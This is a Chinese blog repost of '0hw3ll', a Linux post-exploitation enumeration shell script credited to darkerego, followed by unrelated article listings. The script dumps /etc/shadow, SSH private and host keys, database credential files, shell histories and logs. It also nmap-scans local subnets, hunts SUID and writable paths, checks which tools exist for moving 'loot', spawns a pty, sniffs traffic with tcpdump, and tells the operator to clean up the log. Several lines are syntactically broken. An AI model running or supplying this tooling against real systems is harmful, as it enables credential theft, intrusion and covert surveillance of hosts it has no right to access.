0hw3ll,Linux垃圾邮件挖掘

简介: 版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396469 ...
版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396469

参考:https://github.com/darkerego/0hw3ll

使用:

 ./0hw3ll <options> <args>
          -s|--scrape : Scrape the system. This will gather as much 
                        information as permissions allow. Caution:
                        this may attract attention if you are on a 
                        pentest.
          -p|--pty    : Try a variety of methods to upgrade to a pty
                        terminal (If you don.t already have one) 
          -d|--dump   : Attempt packet capture through tcpdump. This
                        usually requires root/sudo. Never know, though!
          -h|--help   : Show this help.

scrap.sh


#!/bin/sh
####################################################################
# Scraping *nux 
####################################################################
# Thanks to g0tmilk for the excellent write up:
# https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
##################
doHelp(){
echo -e'
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@                                       
#         (   )                                             (   ) 
#   .-.    | | .-.    ___  ___  ___    .--.    .--.   .--.   | |  
# /    \   | |/   \  (   )(   )(   ) /     \  (_  |  (_  |   | |  
#|  .-. ;  |  .-. .   | |  | |  | | (___)`. |   | |    | |   | |  
#| |  | |  | |  | |   | |  | |  | |    .-. /    | |    | |   | |  
#| |  | |  | |  | |   | |  | |  | |    .. \     | |    | |   | |  
#| |  | |  | |  | |   | |  | |  | |  ___ \ .    | |    | |   | |  
#| .  | |  | |  | |   | |  ; .  | | (   ) ; |   | |    | |   |_|  
#.  `-. /  | |  | |   . `-.   `-. .  \ `-.  /   | |    | |   .-.  
# `.__,.  (___)(___)   ..__...__..    .,__..   (___)  (___) (   )  
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@ 
# Shell script to scrape, enumerate, or otherwise rape *nux systems.
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
# <Written by Darkerego, GPL 2016> <https://github.com/darkerego>
## Based off of g0tmi1k.s excellent writeup on priv escalation:
# https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
>> USAGE: $0 <options>
              -s|--scrape : Scrape the system. This will gather as much 
                            information as permissions allow. Caution:
                            this may attract attention if you are on a 
                            pentest.
              -p|--pty    : Try a variety of methods to upgrade to a pty
                            terminal (If you don.t already have one) 
              -d|--dump   : Attempt packet capture through tcpdump. This
                            usually requires root/sudo. Never know, though!
              -h|--help   : Show this help.
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@ 
'
}
### Bash Recon ###
cwd=$(pwd)
out=$cwd/0hw311.log
#
bashrecon(){
RIGHT_NOW=$(date +"%x %r %Z")
pubIP=$(curl ipecho.net/plain;echo)
########################
INTFACES=$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
intIPS=$(for i in ${INTFACES}; do /sbin/ifconfig $i | grep Mask | cut -d ':' -f2 | cut -d " " -f1; done)
intSNS=$(for i in ${intIPS}; do echo $i | cut -d "." -f -3 | sed 's/$/.*/'; done)
sn_RESULTS=$(for i in ${intSNS}; do nmap -sV -F $i; done)
pi_RESULTS=$(nmap -sV -F ${pubIP})
########################
echo ${sn_RESULTS}
echo ${pi_RESULTS} 

cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks

if [[ whoami == "root" ]];
then
  iptables -L || echo 'We are not root'
else
  sudo iptables -V >/dev/null 2>&! || { echo 'We got no sudo' && exit 1 ;}
fi

arp -e
route -n
/sbin/route -nee
hostname
dnsdomainname
}
#

getEnv(){

#system
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based
# kernel
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
#env
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
# find printers
lpstat -a
# get running services
ps aux
ps -ef
ps aux | grep root
ps -ef | grep root
cat /etc/services
# installed programs
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l || echo 'Not a debian sys..'
rpm -qa || echo 'Not a rhel sys either...'
ls -alh /var/cache/apt/archives*
ls -alh /var/cache/yum/

# find misconfigured services 

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
sh -c "ls -aRl /etc/ | awk '$1 ~ /^.*r.*"

#grep -i user [filename]
#grep -i pass [filename]
#grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" 
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -la ~/.ssh/
cat ~/.ssh/config
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa*.pub
cat ~/.ssh/id_rsa*
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

id
id -u
groups
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

# what do we got @home?

ls -ahlR /root/
ls -ahlR /home/
ls -ahlR /

# enum hist

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
# and env
cat ~/.bashrc
cat ~/.profile
head -n 100 /var/mail/root
head -n 100 /var/spool/mail/root

# what can we mess with?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

# variable data please?
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

# databases

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

# enum logs

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
mount 
df -h
cat /etc/fstab

}


getCrons(){
# get cron jobs
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
}

getSUID(){
  # setu/g/id mmmk?
if [ ! -d /home/.ecryptfs ]
then
  fpath="/"
else
  fpath="/ -not -path "/home/*""
fi
  find $fpath -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
  find $fpath -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
  find $fpath -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

  find $fpath -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
  for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
  find $fpath -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
# what can we write to?

  find $fpath -writable -type d 2>/dev/null      # world-writeable folders
  find $fpath -perm -222 -type d 2>/dev/null     # world-writeable folders
  find $fpath -perm -o w -type d 2>/dev/null     # world-writeable folders

  find $fpath -perm -o x -type d 2>/dev/null     # world-executable folders
 
  find $fpath \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders


# anything weird already happening here?

  find $fpath -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
  find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files


# what dev tools we got to exploit?

  find $fpath -name perl*
  find $fpath -name python*
  find $fpath -name gcc*
  find $fpath -name g++*
  find $fpath -name cc




# how can we transfer loot?
which wget || find $fpath -name wget
which curl || find $fpath -name curl
which nc || find $fpath -name nc*
which netcat || find $fpath -name netcat*
which tftp || find $fpath -name tftp*
which ftp || find $fpath -name ftp
which ncat || find $fpath -name ncat*
which telnet || find $fpath -name telnet*
echo -en "\nIf you can see a new line here: \n;than this does not have echo -e\n"
which base64 || echo 'Wtf no base64'
}

spawnPty(){
  
echo 'Trying to spawn a tty...'
if ! /bin/sh -i;then
 if ! python -c 'import pty;pty.spawn("/bin/bash")';then
  #if ! echo os.system('/bin/bash');then
   if ! perl —e 'exec "/bin/sh";';then
    if ! perl: exec "/bin/sh";then
     if ! ruby: exec "/bin/sh";then
      #if ! lua: os.execute('/bin/sh');then
      echo ""
      fi
     fi
    fi
   fi
  #fi
 #fi
#fi
echo 'Crap. One options left. Checking for expect...'
if ! expect -c 'spawn sh;interact';then
  echo "Sorry, could not get a pty!"
fi

else

  echo 'Exited pty...'
fi

}

trySniff(){
for i in "$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')";do tcpdump -i $i & > "$cwd/sniff.$i.log" 2>&1;done
}

case $1 in 

-s|--scrape)
echo 'Scraping the system... After this is done (if it ever finishes), try running with --pty or --sniff ...'
scrapeIt | tee -a $out &>2 >> /dev/null
bashrecon | tee -a $out &>2 >> /dev/null
getEnv  | tee -a $out &>2 >> /dev/null
getCrons | tee -a $out &>2 >> /dev/null
getSUID | tee -a $out &>2 >> /dev/null
echo 'Done! Make sure you clean up the log!'
;;

-P|--pty|--spawn-pty|--spawnpty|--getpty|--get-pty)
if [ "`tty`" != "not a tty" ]
then
  spawnPty
else
  echo 'You are already in a pty! Use -f/--force to do it anyway.'
fi
;;

#case $2 in
#-f | --force)
#echo 'Sure, why not? Attempting to spawn anyway because of --force...'
-d|-dump|tcpdump|--sniff)
trySniff
;;


-h|--help)
doHelp
;;

esac

exit
相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
3月前
|
Linux 应用服务中间件 Shell
二、Linux文本处理与文件操作核心命令
熟悉了Linux的基本“行走”后,就该拿起真正的“工具”干活了。用grep这个“放大镜”在文件里搜索内容,用find这个“探测器”在系统中寻找文件,再用tar把东西打包带走。最关键的是要学会使用管道符|,它像一条流水线,能把这些命令串联起来,让简单工具组合出强大的功能,比如 ps -ef | grep 'nginx' 就能快速找出nginx进程。
二、Linux文本处理与文件操作核心命令
|
3月前
|
Linux
linux命令—stat
`stat` 是 Linux 系统中用于查看文件或文件系统详细状态信息的命令。相比 `ls -l`,它提供更全面的信息,包括文件大小、权限、所有者、时间戳(最后访问、修改、状态变更时间)、inode 号、设备信息等。其常用选项包括 `-f` 查看文件系统状态、`-t` 以简洁格式输出、`-L` 跟踪符号链接,以及 `-c` 或 `--format` 自定义输出格式。通过这些选项,用户可以灵活获取所需信息,适用于系统调试、权限检查、磁盘管理等场景。
318 137
|
3月前
|
安全 Ubuntu Unix
一、初识 Linux 与基本命令
玩转Linux命令行,就像探索一座新城市。首先要熟悉它的“地图”,也就是/根目录下/etc(放配置)、/home(住家)这些核心区域。然后掌握几个“生存口令”:用ls看周围,cd去别处,mkdir建新房,cp/mv搬东西,再用cat或tail看文件内容。最后,别忘了随时按Tab键,它能帮你自动补全命令和路径,是提高效率的第一神器。
728 57
|
6月前
|
JSON 自然语言处理 Linux
linux命令—tree
tree是一款强大的Linux命令行工具,用于以树状结构递归展示目录和文件,直观呈现层级关系。支持多种功能,如过滤、排序、权限显示及格式化输出等。安装方法因系统而异常用场景包括:基础用法(显示当前或指定目录结构)、核心参数应用(如层级控制-L、隐藏文件显示-a、完整路径输出-f)以及进阶操作(如磁盘空间分析--du、结合grep过滤内容、生成JSON格式列表-J等)。此外,还可生成网站目录结构图并导出为HTML文件。注意事项:使用Tab键补全路径避免错误;超大目录建议限制遍历层数;脚本中推荐禁用统计信息以优化性能。更多详情可查阅手册mantree。
566 143
linux命令—tree
|
2月前
|
存储 安全 Linux
Linux卡在emergency mode怎么办?xfs_repair 命令轻松解决
Linux虚拟机遇紧急模式?别慌!多因磁盘挂载失败。本文教你通过日志定位问题,用`xfs_repair`等工具修复文件系统,三步快速恢复。掌握查日志、修磁盘、验重启,轻松应对紧急模式,保障系统稳定运行。
498 2
|
3月前
|
缓存 监控 Linux
Linux内存问题排查命令详解
Linux服务器卡顿?可能是内存问题。掌握free、vmstat、sar三大命令,快速排查内存使用情况。free查看实时内存,vmstat诊断系统整体性能瓶颈,sar实现长期监控,三者结合,高效定位并解决内存问题。
330 0
Linux内存问题排查命令详解
|
3月前
|
Unix Linux 程序员
Linux文本搜索工具grep命令使用指南
以上就是对Linux环境下强大工具 `grep` 的基础到进阶功能介绍。它不仅能够执行简单文字查询任务还能够处理复杂文字处理任务,并且支持强大而灵活地正则表达规范来增加查询精度与效率。无论您是程序员、数据分析师还是系统管理员,在日常工作中熟练运用该命令都将极大提升您处理和分析数据效率。
310 16
|
5月前
|
监控 Linux 网络安全
Linux命令大全:从入门到精通
日常使用的linux命令整理
881 13
|
6月前
|
Linux 网络安全 数据安全/隐私保护
使用Linux系统的mount命令挂载远程服务器的文件夹。
如此一来,你就完成了一次从你的Linux发车站到远程服务器文件夹的有趣旅行。在这个技术之旅中,你既探索了新地方,也学到了如何桥接不同系统之间的距离。
1081 21